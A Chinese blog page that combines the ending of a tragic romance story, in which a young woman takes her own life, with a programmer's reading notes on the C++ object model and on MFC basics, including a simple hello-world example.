我突然又夸张叫起来。
拍得真好!技术真好!
她抬起头,笑骂,神经病。

送走我们,回到家,妻洗澡,我打电话给她。
她没有接。
睡到半夜,我悄悄起来。
开车到她家,用钥匙打开门。
她正坐在地上哭。

我走过去,从背后搂住她。
她疯狂地踢我。

对不起,我说。
你以后不要再来这里了。安静下来后,她说。
什么?
你以后不要再来这里了,房子的钱我会慢慢还给你。
你怎么还?你拿什么还?!三秒钟后,我跳起来朝她吼。
你不用管。
你别闹了你别闹了你别闹了。
你很享受吗?她大叫,你为什么从来不顾别人的感受?
我若不顾你感受,我就不会过来了!我也冲着她喊。
你脑子真是猪一样!我不是说我!我是说她!

我呆呆望着她。
你说什么?
她!她!她!

如果我是她,我会死的!我会自杀的!她对我喊。
我理屈词穷。
虽然设想过千万次,但我没想到先造反的竟是她。

好。挣扎良久,我吐出这个字。
累得半死。
但你答应我,无论如何,你不许干那种事。
什么事呀?她突然又调皮起来,笑问我。
我抽了她一耳光。
打我后,我自己也呆住了,她也呆住了。
我从来没打过她。

我开玩笑的。她低下头轻道。
我抱住她,反复说,对不起对不起对不起。
在印象中,那个晚上,我说了无数声对不起。
好象真的没有机会再说了。
她似乎也明白了,我已决定真的不再来,于是任我抱着。
一个小时后,我走了。

回到家,妻迷迷糊糊地问我去哪里了。
我说明天提案的资料忘在公司里。
妻恩了一声,把脑袋蹭在我怀里又睡了。
这个理由差到极点。
我决定不再找女儿了,也就没力气编更好的理由了。

第二天下班回到家,桌子上有一张纸上写。
不要来找我。

我怔怔地站在当地。
真觉得在做梦。
噩梦总是连着一个噩梦,永远做不醒一样。
天渐渐黑了。
终于有人敲门,我冲过去开。
是女儿。
那时我失去理智,拽住她喊。
你跟她说了什么!
她只是怔怔望着我说。
孩子失踪了。

她从口袋里掏出张照片。
那是相册中的一张,是三年前拍的。
当时我们都没有注意到。
她的背后,有一面镜子。
镜子里那个人是我。

那个晚上我们通宵都没有睡,我们坐在彼此熟悉的环境里。
因为少了一个人,我们变得如此陌生。
近半年以来,我与她的关系是得以妻的存在而赖以维持的,而妻一旦走开,所有的维系在刹那间便呈现出其狰狞的本质。
有时候你认为是阻碍的东西,等到撤消,你才发现是唯一的维系。
这才是最悲哀的事情。
我们根本不敢对视。

于是我们把所有的力量用来寻找妻的下落。
我们寻访各种我们认识的人。
我们拨打无数个我这辈子都不会拨的电话。
在这种类似同舟共济的努力上,我们暂时忘却我们的罪恶。
无论如何,当你用尽全力去赎罪,去弥补的时候,感觉是会好一些的。
尽管你深知,这种努力完全徒劳。

所以每到晚上,共对的时候。
我们就特别地沉默。

四月初的时候,我们收到了妻的信。
严格说来,那不是一封信,是一张信封,和里面的两张船票。

我记得那天下午,我打开信箱,看到熟悉的笔迹。
心跳几乎停止。
在拆信的当时,手都在发抖,害怕跌落出一张遗体鉴定书。
竟然是两张船票。

我把船票交给女儿的时候,她也呆住了。
这是三天后的船。
除此之外什么都没有,没有到了那之后如何,没有具体的提示,没有多余一个字,就是光洁的两张船票。
妻料到我们势在必行。
我们的确势在必行。

我们剩下三天。
前途完全未卜。
妻为什么剩三天给我们呢?是让我们准备行李吗?
还是准备后事?
我去公司,召集部门主管开会。
说离开一段时间。
我把工作调配得井然有序,把接下去的工作计划全部排好。
警告小辈在我不在时不许偷懒。
私交好的同事暗地问我,究竟要出行几天,我摇头。

女儿显得很奇怪,她在这三天里选择买衣服。
相对于我,她似乎过节一样。
让我无论如何抽出一天来,陪她买衣服。

我们一家家店逛,她拉着我的手兴高采烈地流连在不同的商铺里。
享受和每一个老板侃价的乐趣。
买了一堆五颜六色的大包小包,又嚷着肚子饿,拽我去餐厅吃饭。
吸着绿色的果汁,两眼朝我骨溜溜地转。
随即笑起来,吸起半吸管,朝着我慢慢吐出来。

有时我真怀疑我和她不是将要去一个完全不可预知的地方,而是压根就在夏威夷度假。

在起程前的最后一晚,我们做爱了。
这是我们重遇后到那天第一次做爱。

我记得那是从外面购物完回来,我们都在各自默默整理自己的行李。
出差过无数次,第一次不知道往自己的箱子里放什么。
她更加绝,买的衣服,没有一件放进箱子。
我们就这么互相不说话地,各自理自己的衣服。
我不知道她究竟在箱子里放了什么,整个行李箱都合不上,她就跳上去,坐得非常开心。

后来才知道,她放了很多乱七八糟的东西进去,沙发*垫,地毯,尽量在拖延整理的时间。
因为我们都知道,理完后相对的场面是致命的。

但终究这场面还是到来了。
她终于把箱子合上了。
我和她互相望着。

我们终于慢慢走近,同时伸出手臂抱住对方。
用嘴唇寻找彼此。
从到到尾我们都没有说过一句话。
用极其缓慢的动作脱着彼此的衣服,好象在进行某种宗教仪式。

记忆中,那晚她的叫声是最为凄楚的。

第二天,我们一前一后,提着箱子上了船
妻的卡里有不少钱,她似乎也极大方地给我们买了两张头等舱的船票。
船是豪华邮轮。
具体开往什么地方,由于和这个故事本身关系不大,我就不多说了。
总之,我与女儿登上船的刹那,我感觉象登上泰坦尼克一般。
撞上冰块,然后一起沉没,然后手拉手一起葬身。
我那时还不知道,虽然这看起来很悲惨,但相比与今后实在发生的事,那样要幸福和美丽得多了。
船启程的时候,是傍晚。
我和她站在栏杆处,望着下面翻滚的江水。
冷吧?我看看她。
还好,她朝我羞涩地看了一眼,转身进了房间。

自从昨夜那一场看似突如其来却势在必行的做爱后,我们就很难正常地说话。
这对我们来说,象一个各自必须珍藏,却永远不能放在我们中间,供我们正视的事情。


我盯着船离岸越来越远。

岸边送行的人渐渐散去,有一个人还在那里怔怔地望着我们。
那个人是妻。
我和她逐渐地对视着,视线逐渐拉远,我想叫出声喊,但嗓子居然是哑的。
我不知道这船的离开,这妻的站立,是什么意思。
女儿当时在船舱里。
我怔怔地望着妻,妻远远地,面无表情地看着我,举手朝我挥别。

这个场面,其实是非常非常恐怖的,非常非常的恐怖。
我们渐渐地开远了。
妻变成一个再也望不见的点。
海上只有一些浮标,随着海浪逐渐漂浮,我脸色惨白,象被冰雹砸了五个小时一样,回到船舱,看着女儿。

怎么啦?她抬头问我。
没有什么。我勉强笑笑。
她噢了一声,站起来不看我,我吃饭去了,就蹦蹦跳跳地开了门,去了餐厅。

我不知道为什么没有告诉她刚才的景象,可能是怕她承受不住,可能事情本身已经超出了我能预计的范围,我感觉到船以某种稳定的振幅前进着。

船舱里的
喇叭 居然会放音乐。
我坐在船舱的床上安静地听着音乐,回忆着妻刚才的眼神,准确说来,那是一种没有任何感情色彩的眼神,或许,只有在彼此逐渐消失在视线的最后刹那,我从中读到了些许不舍的东西,但那也很有可能是我的一相情愿。

到了晚上10点多,女儿回来了,她已然喝醉。
我们去跳舞吧。她一把牵住我手,把我往外拖。
我使劲摔开她手,看着她。
你看我干吗?她冲着我喊,你看着我干吗?
我其实心里非常明白,女儿对目的地,对将来可能会发生的一百万个可能充满恐惧,在这种恐惧之下她选择了一种疯狂的发泄,无论是买衣服,还是跳舞,都是她对此的反抗。
我不能告诉女儿此行已然毫无意义,生活当中随时会有某种旋涡状的东西,我已感受到它的存在,可我只能咬住牙关,不便透露,因为这无比险恶。

我安静地看着她。
她突然笑了,你早点睡,我去玩了。
她在我面前脱下衣服,换了一件无比性感的衣服,打开门头也不回地出去。
我在房间里坐了一会。
到开门去了轮船的酒吧,推进门就看见一个长发的女子以无比专业的舞蹈震慑着所有人,赢来所有的掌声。
每一个男人的眼神都是垂涎欲滴的。
真是帮猪。
这是一种我从来没有见过的舞蹈,或许我对此本身就不熟悉,它非常的性感,但这种性感因为某种专业性在里面,故而增添了一种凛然自威的东西在里面。
N年前,她已是DANCING QUEEN。
我找了吧台处坐下。
她一曲跳完,走到吧台处,不看我,自然有男人上来请她喝酒了。
于是他们就在我边上。
接下去是对话。
小姐,可以认识一下吗
小姐,喝杯酒如何?
小姐,你是一个人吗?
小姐,你是学舞蹈的?
就搭讪的言语的贫乏与庸俗性而言,这个男人实在无药可救。
女儿低头笑笑,不说话,那男人更加着迷。
围着女儿忙得团团转,小姐,可以请你跳支舞吗?
女儿笑得非常文雅,好象小家碧玉。
多年前,她就会笑得象只小狐狸了。我不忍再看下去,一个人拿了杯子欲走。
刚要走时,突然听到她说。
不行,我要和这位先生跳。
突然好几个人眼光转向我。
我回敬他们。
女儿走上来,仰头望着我的眼睛,先生,我可以请你跳支舞吗?
我微笑,不答。
她继续问,先生,我可以请你跳支舞吗?
我微笑,不答。
她执拗地,先生,我可以请你跳支舞吗?
音乐已经响到一半,只有她一个人在对着我问。
她的眼眶里已经有东西在闪。
还在苦苦追问,先生,我可以请你跳支舞吗?

我没有和她跳舞,直到最后我也没有和她跳舞,可能当时,本身我心情就无端烦躁的缘故,我看着她这种以甜蜜的方式无比执拗地挟持,她根本不明白我们此行已充满荒谬,我看着她泪光闪闪地坚持要和我跳支舞,心里非常地反感,我只是说了一句,你自己玩吧,早点回来。转身回到船舱,整整一夜她都没有回来,在凌晨的时候,依稀在梦里见过她。

那个时候大约是凌晨四五点钟,我在睡梦中猛地睁开眼。
她正趴在床沿看着我,无声地流着眼泪。
一时间我根本没有清醒过来,我以为我还在梦里,于是伸出手在她脸颊上轻抚。
什么事不开心了?我问她。
她摇摇头。
你怎么还不睡觉?我问她。
我看看你,你睡吧。她说。
我脑子昏昏沉沉地,噢了一声,然后闭上眼,一会又睡着了。
我不知道她究竟看了我多久,直到再次醒来的时候,天已经大亮了,我清醒得坐起来,皱着眉头看着女儿床上,一丝都不凌乱的床铺,她根本一夜都没有回来。

这个时候我已经充分忘记了昨天半夜的景象,这也是我事后才想起来的,当时我只留意到她的床上有一本日记本。
我把日记本翻开,里面密密麻麻的小字。我没有多看,梳洗完毕出舱房找女儿。

走进餐厅,每个人都在讨论昨天一个女孩在甲板上割腕自杀的故事。
她坐在甲板上,看着满天的星星,安静地用我的刮胡刀割开自己手腕,血无声地顺着甲板流到海里。
清晨前的一场雨更是把甲板冲刷地干干净净。
直到早起的人在甲板发现她的时候,她的耳中还塞着MP3的耳机,里面放着SOLVERG SLETTAHJEII的爵士女声。
用一种几乎快断气的声音哼唱着。


我在她的
项链 的荡坠里发现了一张男人的照片,这个荡坠在那晚我们做爱时我就看到过的,但是当我试图拨开时,被她阻止了。
可能她不想让那个男人目睹当时的景象吧。
毕竟她深爱过她。
哪怕他已经死了。
我回到城里,整整两个多月不吃不喝,我没有再去我与妻的房间,整日把自己关在给女儿买的那栋小屋里,从早上到深夜,从来不开灯。

我拒绝和任何人接触,把手机也关掉。
我捧着女儿的骨灰两个多月后,觉得不能如此霸占她,或许我该把骨灰与那个男人葬在一起。
于是我通过各方手段寻找那个男人葬的地方。
我先到了我住的地方,问各层每个邻居,有没有见过这个男人,曾经住在我家楼下。
好些人都说没有见过。
最后一楼的一个老婆婆告诉我,这个人的确曾经住在我家,但后来搬走了。
我算了算时间,大约是我与妻结婚不久之后。

搬走了?
搬走了是怎么回事?我问那个老婆婆,他不是死了吗?
你年纪轻轻怎么老咒人死呢?老婆婆白了我一眼。
我不信,去警署查,又通过我一个做警察的同学,查了半天,的确没有这个男人的死亡记录。
他们倒给了我一个地址。

在一个阳光明媚的上午,我捧着一坛骨灰,敲响了这个地址的门。
开门的正是妻。

当时是早上10点多钟,我敲了这扇门。
门打开后,妻出现在我面前。
那个瞬间,我们都呆住了。

我隐隐感觉到事情还有险恶,也就是说,事情的险恶并没有到我所认为已经停止的地步,我捧着骨灰的手不断地抖着。
那天上午到深夜,我坐在那个男人的家里,妻从头到尾默然地不太说话,我也没有过多催促,下午四点多的时候,那个男人回家了,于是整个事情才在我面前慢慢铺展开来。

一年多前,也就是我和妻结婚后不久,与这个男人发生恋情的正是妻。
“我和你结婚不多久就早知道了,你并不爱我。”
妻坐在我对面,平静地说。
妻常常看到我一个人坐在沙发上怔怔发呆,有时候她叫我,我会在她叫了好几次后才惊醒,抬头问她干什么。凭一个女人的直觉,她早明白我心中有一种很不甘的东西在压抑着不流露出来,于是妻也没有流露出,当然,这是在我面前。

常常妻在吃完晚饭后,下楼去楼下的小区的长椅上坐着,直到认识那个男人。
开始他们只是聊天,坐在长椅上轻声细语的聊天。
直到妻了解到他身患重疾,并没有多少生命时,她早已爱上了他。
妻决定离开我。

但这对妻来说无疑是万分艰难而无法开口说出的决定,我虽然心底有一块位置早已空缺,而且妻或者任何人也无法填满,但至少我对妻的好是无可争议,无可挑剔的。
妻根本说不出任何离开我的话。
直到妻认识了女儿。

按照妻的说法,女儿踏进那所幼儿园的那天,不知为何第一眼相见,妻看到她扒在栏杆旁,贪婪地看着小孩子时,妻就对她有了莫名的好感和信任。
她们变成了好朋友。
渐渐地,妻把与我的事情,与楼下那个男人的事情统统告诉了女儿。
这离我与女儿再次重逢,中间隔了整整一个多月。

女儿一直没有向妻说明,直到有一天妻说着说着,便把与我的照片给女儿看。
女儿才抖得象一只风中的鸡。

在一个夜晚,她们一起通盘想了整件事。那根本不是任何人的孩子,那只是幼稚园里一个小孩,他的父母每逢周末去外地采购,便托管在妻的幼稚园,女儿很喜欢他。

接下去的半年时间里,便是妻与女儿精心布置好的局,每一个细节,每一个碰撞,每一个交流,事情的每一步,都在计划中。
只有我被蒙在鼓里。
这其实原本是个对任何人都好,都没有任何坏处的局。
妻离开我,我与女儿(我一直真爱着的人)从此在一起,妻会陪伴那个男人直到他死。
事情也的确按照她们的预计在进行着,偶尔我有犹豫,她们中间就会有一个人促动一下。
那个男人的病情越来越差,只好在那一天,妻开始发难。

妻隐瞒在人群中,送我们上船,直到我发现她后,朝我挥手告别,那一刻,她的眼神中的确是刻骨的不舍。


她送我们去的地方,正是女儿失踪后所去的城市。
从头到尾,她没有怀过孕。
我没有告诉妻女儿的死,我离开那个房间的时候,妻的眼中是抱歉与祝福并存的眼神。
回到家,我翻开女儿的行李箱,找出那本日记。

10月6日
今天我又看到了他,我已经有整整一年多没有见过他了,他瘦了,更成熟了,他认出了我,只是他装得好象啊。

11月2日
一切都按照计划进行着,只是我越来越不愿意这样,我不想骗他,可是我骗了他,我按照我们一起编的话,一次次骗着他,包括我的小孩,包括我去做鸡,他全相信了,他给我买了屋子,他以为这一切都做得很好,我是多么想告诉他,一切都和他以为的截然不同啊。

11月9日
他一直在我的房间里呆着,我是多么享受和他这样呆在一起的时光啊,我们一起听SOLVERG SLETTAHJEII的歌,他老是笑我很幼稚,他送过我一盘SOLVERG SLETTAHJEII的CD,可能他自己都忘了吧,那是好几年前了,我们一起去唱片店,他送给我这张CD,我估计他自己都没有听过,只是他很讨厌我听SHE。

12月1日
姐姐终于离开了,这半年来,我们计划的整件事情终于达到了效果。
我看着老爸迅速老下去的样子,怎么能告诉他,从头到尾我都是骗他的啊!
我怎么能告诉他,我还爱他,我根本从来没有爱过任何其他的人啊。

明天我们就要上船了,我想带他去看那一年多来我呆的这个城市,我在那个城市里疗伤,在那个城市里长大,我多想带他去看,告诉他每一寸土地都是我熟悉的,这是姐姐给我们的船票,她希望我们幸福,希望我带他去那里忘掉一切,与我重新开始。可是我心里明白,他再不可能爱我了,我们以为这个阴谋可以成全任何人,可是我们都没有想到给他带来的伤害。

我们怎么可能再回到从前呢。
这怎么可能呢。

12月2日
我在黑暗里一直看着你的脸,老爸,你知道吗,我一直盯着你看,想把你全部记在脑子里,带着满脑子的你离开。
昨天晚上我们再一次做爱了,你知道吗,这是我们最后一次做爱,我多么想告诉你这是我们最后一次做爱啊。
你睡着的样子,我怎么都看不厌,可是我知道我不能再看了,再看下去,你会越来越讨厌我,直到一切你都知道后,你会恨我,那个时候,我该怎么来面对你啊。
老爸,我要走了,姐姐已经离开你了,她寻找属于他自己的幸福去了,我也要走了,我知道这次航行,是我爱你的尽头。
可是你好可怜啊,老爸,以后没有人再来照顾你了,没有人再来关心你了,你会懂得好好照顾自己吗?
你会懂得,我从来没有爱过别人,从头到尾,我只是爱着你一个人,希望你幸福吗?
老爸,我真的不想离开你,可是我知道,你会一个人勇敢地活下去,你一定要勇敢地生活下去,只有胆小的我,才会选择逃,老爸,你是最勇敢的,对吗?
老爸,我真的很想为你生个孩子,可我没有怀上,我哭了很久,我想我没有机会了,昨天做爱的时候,我想,如果这次我怀了你的孩子,那么我和他都会在天上一直祝福你的。

老爸,我真的不想放开,我手里的笔不断地在写,我知道,我一放下笔,就意味着终于就要离开了,你能再抱我一次吗?象爸爸抱女儿一样?
从开始到结束,老爸,你从来没有对我说过,我爱你。
我爱你,老爸。
再见

看完整本日记,已经是凌晨5点了,我呆呆坐了一会,回忆了这半年来与她相处的每一个细节,给自己冲了一杯咖啡,我镇定地乘着咖啡匙,终于手剧烈地抖动,撒满了一地棕色的粉末,我再也无法抑制,跪在地上。
看着眼泪将满地的粉末渐渐稀释……

几天后,我将这个屋子卖掉,卖掉的钱全部给了妻,我对那个男人始终不存恶感,他也待我象朋友一般亲切与自然。
我把女儿埋在了一个非常漂亮的地方,去了另外一个城市,留下了她一些骨灰,放在一个手指粗细的小瓶里,挂在我的胸前,这一生我都不能再把她摘除,她已长在我的心里,我的骨髓中,无法割离。

有的时候半夜无法睡着,我都会想。
如果有一个你爱的女孩子叫你老爸时,你要记得堵住她的嘴,告诉她,她不是你的女儿,是你的爱人,而你,将用整个生命来珍惜她,爱她,不让她受到伤害,你一定要说出来。
因为有的话,不说,不说,就再也没有机会说了。

是的,没有机会了!

你明白吗?明白吗?

posted @ 2006-06-26 18:30 高山流水 阅读(574) | 评论 (0)编辑 收藏


第一章:关于对象(Object Lessons)
  读完这一章使我想到了一个很久以前看到的一个笑话,编写一个HELLO WORLD的程序,随着水平和职务的不一样,程序代码也随着变化。当初看时完全当作笑话来看,现在看来写此笑话的人水平不一般。如果要使你的代码能够最大限度的适应不同的运行环境,和最大限度的复用,则在设计和编写的过程中需要考虑的问题很多,因此代码已变的不在具有C语言的简洁,高效。而牺牲了这些优势换来的是更好的封装。当然如果你只是要打印Hello World则不必这样做了。

  以C++的思维方式解决问题,对于对C语言已经很熟悉的人来说会很不能适应。需要一段时间来适应,不然会将代码写的似是而非。而且不能邯郸学步,必须从思想上彻底的C++(OO),如果只是依葫芦画瓢,那结果很可能是用C++的语法编写C式的程序。本人曾经犯的典型的低级的错误之一,就是无意识的一个类无限制的扩充,完全没有考虑到类的多层结构(基类-派生类),需要属性或方法便在类中增加,虽然也用到了多态、重载等一些OO的设计方式,但最后这个类庞大无比,除了在当前系统中任劳任怨的工作外,一点复用的可能都没有,如果另一个系统还需要一个类似的东西,那只能重新设计实现一个新的类。并且最致命的是在维护更新时带来得麻烦,需要不断全部编译不说,而且代码在用了大量注释后,在过一段时间读起来也是一件重脑力劳动。及失去了C的简洁清晰和高效,也不完全具备C++的面向对象的特性。这根本不能叫C++程序。(我想有时间重写一下以前代码也会有很多收获,温故而知新吗)C和C++在编程思想上是相互矛盾的。这也就是说如果你想学C++,完全可以不学C,只需要一本好书和一个不太笨的大脑再加上努力就可以了,如果你已有C的经验在一定的情况下反而会捣乱。

  本章是对对象模型的一个大略浏览。既然我们选择了C++而不是C作为开发工具,那我们的编程思想也应该转为C++的,而不能再延续C的Procedural方式。我们必须学会C++的思考方式。采用抽象数据类型或用一个多层的class体系对数据以及数据处理函数进行封装,只有摆脱C程序的使用全局数据的惯性,才能充分发挥出C++对象模型的强大威力。

  在C++中有两种数据成员static和nonstatic,以及三种成员函数static、nonstatic和virtual。C++对象模型对内存空间和存取时间做了优化,nonstatic的数据成员被置于类对象之内,而static数据成员被置于类对象之外。static和nonstatic成员函数被放在类对象之外。而virtual函数是由类对象的一个指向vtbl(虚函数表)的指针vptr来进行支持。而vptr的设定和重置由类的构造函数、析构函数以及copy assignment运算符自动完成。

  我们设计的每一个类几乎都要有一个或多个构造函数、析构函数和一个Assignment运算符。他们的作用是构造函数产生一个新的对象并确定它被初始化。析构函数销毁一个对象并确定它已经被适当的清理(避免出现内存泄露的问题),Assignment运算符给对象一个新值。

  这是第一章的第一部分,由于雷神最近几天在做模式小组的主页,时间周转不开了。本想写完整个一章再发,考虑一下还是先发一部分吧。原因有2。1、第一章的后半部可能又要拖上10天半个月的。2、笔记实在难写,我不愿意将笔记做成将书上的重点再抄一边,而是喜欢尽量将自己的理解描述出来,谁知第一章便如此的难以消化,已经反复读了3遍,还是有些夹生。所以本着对大家和自己负责的态度,雷神准备再看它3遍在说。突然发现自己的C++还差的很远,好可怕呀。




笔记贴出后,有朋友便给我提出了一个很好的建议,原文如下:
  史列因:我刚看了你写的“深度探索C++对象模型(1)”,感觉很不错。不过我有一个建议:你说“谁知第一章便如此的难以消化,已经反复读了3遍,还是有些夹生”是很自然的。第一章是一个总览,如果你能全看懂,后面的就没什么看的必要了。第一章的内容后面都有详细介绍,开始只要有个大概印象就可以了。这本书中很多内容都是前后重复的。我建议你先不管看懂看不懂,只管向后看,之后再从头看几遍,那样效果好得多。

  我想史列因说的应该是一种非常好的阅读方式,类似《深度探索C++对象模型》这样的技术书籍,需要的是理解,和学习英文不同,不能靠死记硬背,如果出现理解不了的情况,那你不妨将书放下,打一盘红警(俺骄傲的说,我是高手)。或者跳过去也是一个不错的方法。好了,我们还是继续研究C++的对象模型吧。

  简单的对象模型

  看书上的例子(注释是表示solt的索引)


Class Point
{
public:
Point(float xval); //1
virtual ~Point(); //2

float x() const; //3
static int PointCount(); //4
protected:
virtual ostream& print(ostream &os) const; //5
float _x; //6
static int _point_count; //7
}


  每一个Object是一系列的Slots,每一个Slots指向一个members。

  表格驱动对象模型

  当构造对象时便会有一个类似指针数组的东西存放着类数据成员在内存中位置的指针,还有指向成员函数的指针。为了对一个类产生的所有对象实体有一个标准的表达,所以对象模型采用了表格,把所有的数据成员放在数据成员表中,把所有的成员函数的地址放在了成员函数表中,而类对象本身有指向这两个表的指针。

  为了便于理解,雷神来举个不恰当的例子说明一下,注意是不很恰当的例子 我们把写字楼看成一个类,写字楼中的人看成是类的数据成员,而每一个租用写字楼的公司看成类的成员函数。我们来看一个实体,我们叫它雷神大厦。雷神大厦的物业管理部门需要登记每个出入写字楼的人,以便发通行证,并且需要登记每个公司的房间号,并制作了一个牌子在大厅的墙上。实际上这便是类的对象构造过程。你可以通过大厅墙上的公司列表找到任何一家在雷神大厦租房的公司,也可以通过物业提供的花名册找到任何一个出入雷神大厦的人。

  真是一个考验大家想象力的例子。(如果你有更好例子的别忘了和雷神交流一下)。

  C++的对象模型

  C++对象模型是从简单对象模型派生得来,并对内存空间和存取时间做了优化。它引入了虚函数表(virtual table)的方案。每个类产生一堆指向虚函数的指针,放在表格中。每个类的对象被添加了一个指针(vptr),指向相关的虚函数表(virtual table)。而这个指针是由每一个类的constructor、destructor和copy assignment运算符自动完成。

  我们还用上面的雷神大厦举例,物业管理为了提高效率,对长期稳定的公司和人员不再登记,指对不稳定或不能确定的公司进行登记,以便于管理。

  再次考验大家的想象力。

  得出结论,C++对象模型和双表格对象模型相比,提高了空间和存储时间的效率,却失去了弹性。

  试想一下,没有整个雷神大厦人员和公司的名录,如果他们发生变化,则需要物业管理部门做很多工作。重新确定长期稳定的公司和人员是那些。对应应用程序则需要重新编译。(这次更离谱,但为了保持连贯,大家请进行理解性的思考,不要局限字面的意思)

  这篇笔记是分成多次一点点写的,甚至每天抽出一个小时都不能保证(没办法最近实在忙),因此可能会有不连贯,如果你读起来很不爽认为雷神的思维短路了,那属于正常。不过雷神还是再上传之前努力的将思路进行了一下整理。希望能把这些支言片语串起来。

  最后说一句阅读《深入C++对象模型》一书感觉没有什么可以被成为重点的东西,感觉每一个字都不应该放过,全是重点。经过反复阅读,雷神好象有些开窍,继续努力呀,我和大家都是。

posted @ 2006-06-26 16:40 高山流水 阅读(315) | 评论 (0)编辑 收藏

雷神
(摘抄)VC技术内幕笔记第一天:

WINDOWS应用程序一定要有WinMain函数,该函数用来完成一些特殊的任务,象创建程序的主窗口,主窗口用来处理消息的代码。MFC将WinMain隐藏在框架中,不象写SDK程序时可以很容易的找到它。

WINDOWS采用的消息处理机制也交给了程序框架,我们不必担心如何使这些消息和代码联系起来。并且WINDOWS定义好了一些消息,当窗口被创建时系统就会发送WM_CREATE消息,当点击鼠标左键时便系统会发送WM_LBUTTONDOWN消息,当用户按下键盘时系统会发送WM_CHAR消息,当用户关闭窗口时系统会发送WM_CLOSE消息,当用户进行菜单项选择或单击按钮时系统回发送WM_COMMAND消息,什么都不做系统还会发送WM_TIMER消息。先不说别的,先搞清出这几个消息再说。从MSDN中可以很方便的找到关于这几个消息的帮助文档。

WINDOWS提供通用的图形设备接口(GUI),我们通过调用(GDI)函数和硬件打交道,不必理会设备环境,WINDOWS会自动将设备环境结构映射到相应的物理设备,这应该就是设备无关性吧。
动态连接库(DLL)应该是代码重用的典型例子(不知道可不可这样说),把一些模块、自己新编的类单独调试并编译成DLL,及增加代码的可读性也提高了程序模块的灵活性。

用Developer Studio建立项目Developer Studio会创建很多中间文件,这些文件还是有必要说一下的。

APS //支持ResourceView
BSC //浏览器信息文件
CLW //支持ClassWizard
DSP //项目文件,不能删除和用文本编辑器编辑
DSW //工作空间文件,不能删除和用文本编辑器编辑
MAK //外部的创建文件
NCB //支持ClassView
OPT //保存工作空间的配置
PLG //建立日志文件

这些文件都有一定的作用,拿CLW来说,如果你有一个新类,需要加到ClassWizard中,除了将相应的.h 和.cpp加到DSP中还需要重新编译CLW。PLG文件记录着你的项目配置信息。

VC++的源程序浏览器能够使我们从类或函数的角度来了解或编辑程序,而不是直接从文件入手。在看别人的源代码时如果能熟练的使用源代码浏览器将会事倍功半。源程序浏览器主要的查看状态有以下几种:

Definitions and References——选择任何函数、变量、类型、宏定义可以看到它在项目中的定义,并且在何处和什么地方用到它。

Call Graph/Caller Graph——对于所选择的函数,给出它的调用与被调用函数的图示。

Derived Class Graph/Base Class Graph——给出类层次关系的图形表示,可以看到所选择的类的派生类和基类以及成员。

File Outline——对于所选的文件,列出文件中的类、函数和数据成员,同时还显示它们定义的位置和使用位置。

可见Source Brower比起Class View来功能多了很多也更加好用,以前我就不知道,因为一般的VC++书没有讲或根本没有注意这块,看到讲菜单、操作界面、编辑器时总是跳过,心想“没吃过猪肉还没见过猪跑?这种东西不用学就会”。可实际上还是应该仔细的看看的。

对于本章学习雷神建议大家在VC++6中用AppWizard生成一个空的程序,然后试着看看都有那些文件,和他们的类层次、函数、宏、结构的定义,我就是这样干的,学编程不动手是不行的。
第二天:Microsoft基本类库应用程序框架

◎MFC是C++的Microsoft Windows API,如果想要开发WINDOWS的应用程序当然VC/MFC是开发环境的首选。
◎MFC产生的应用程序使用了标准化的结构。(我现在还体会不出这点的优势所在,请高手指点)
◎MFC产生的应用程序短而运行速度快。这应该说的是可以很容易的建立动态连接,其实程序还是需要大量的DLL,不过由于WINDOWS上有很多可以用DLL所以应用程序很短,我是这样想的不知对否。
◎VC++工具降低了编码的复杂性。这点不容质疑比起TC方便太多了。
◎MFC库功能非常丰富。书上列出了MFC从1.0--4.21的一些特性,我就不废话了,大家应该看看。

  这一章节主要介绍了MFC库的优点,其实我本人认为在某些特定环境下其实MFC不一定就象说的那样好。我想不会有人用纯VC做MIS系统吧,太累了。我是这样理解编程序的,如果把学编程看成学武的话,C/C++语言及编程思想(OOP)是内功,API是基本功(编程思想是内功、API是基本功这适用于任何WIN32编程,不论Visual C++、Delphi、C++Builder、VB......),VC/MFC应该不同武功其中的一种,不同的学习方法效果不一样,只要下工夫也都可以达到一定的境界。真正的高手是有着深厚的内功,扎实的基本功,至于武功招数无所谓了,随便一站不丁不八全无破绽,无招胜有招了。对不住扯远了。

  C++可以通过类库来进行扩展,我们除了可以使用随编译器提供的类库外还可以很方便使用软件公司销售的类库产品,甚至可以自己开发。而应用程序框架是一种类库的超集,它定义了程序的结构。

下面给出两个示例程序(一个是书上的一个是我写的):

  雷神建议:虽然现在很多书都附CD,CD上有书中所有示例的源代码,但还是应该亲自在VC6用手敲进去。这样可以加深印象以及感受一下编译除错后程序正确运行时的乐趣,因为是纯手工打造。自从我敲了近一百个代码示例后,由于笔误的BUG就很少了,打字速度也提高了。而且最好在原示例代码的基础上做些改动例如别千篇一律的显示HELLO WORLD!换点别的,这样做也可以加深对示例程序的理解。
  我的HELLO WORLD用AppWizard向导创建一个显示一个字符串的单文档程序,只需要敲入一行语句,主要是体验MFC的强大功能。

1、打开VC++6从菜单选择NEW,给项目命名为”MyApp01“。

2、选择MFC AppWizard[exe] 选项,除STEP 1选择单文档外其他STEP缺省。

3、在Class View选择CMyApp01View类的OnDraw()成员函数双击会在C++编译器看到以下内容

void CMyApp01View::OnDraw(CDC* pDC)
{
CMyApp01Doc* pDoc = GetDocument();
ASSERT_VALID(pDoc);
// TODO: add draw code for native data here
}
在 // TODO: add draw code for native data here的位置增加一行代码
void CMyApp01View::OnDraw(CDC* pDC)
{
CMyApp01Doc* pDoc = GetDocument();
ASSERT_VALID(pDoc);
pDC->TextOut(10,10,"雷神愿意和所有学VC的朋友共同进步!"); //<-----------增加的一行
// TODO: add draw code for native data here
}

  完了,就这么简单。编译运行。看到了吗?这个程序具备WINDOWS程序的所有特性,例如有菜单、工具条、状态栏、最大化、关闭、甚至还有关于对话框、打印预览.....全了,这就是AppWizard通过MFC动态创建的一个应用程序。从这个小例子可以看出用VC/MFC设计WINDOWS程序多么方便。下面我们看看书上的例子,以便更进一步了解应用程序框架。

书上的例子:

1、先建立一个Win32 Application的应用程序。

2、选择Project->Add to project->Files,分别创建一个名为MyApp.h和一个名为MyApp.cpp的文件。

3、添加代码:(最好照敲以下代码到编译器,别用Ctrl+C/Ctrl+V)

//***********************************************
// MyApp.h
//

class CMyApp:public CWinApp //见下②
{
public:
virtual BOOL InitInstance();
};

class CMyFrame:public CFrameWnd
{
public:
CMyFrame();
protected:
afx_msg void OnLButtonDown(UINT nFlags,CPoint point);
afx_msg void OnPaint();
DECLARE_MESSAGE_MAP()
};

//*****************************************************
// MyApp.cpp
//

#include "afxwin.h"
#include "myapp.h"
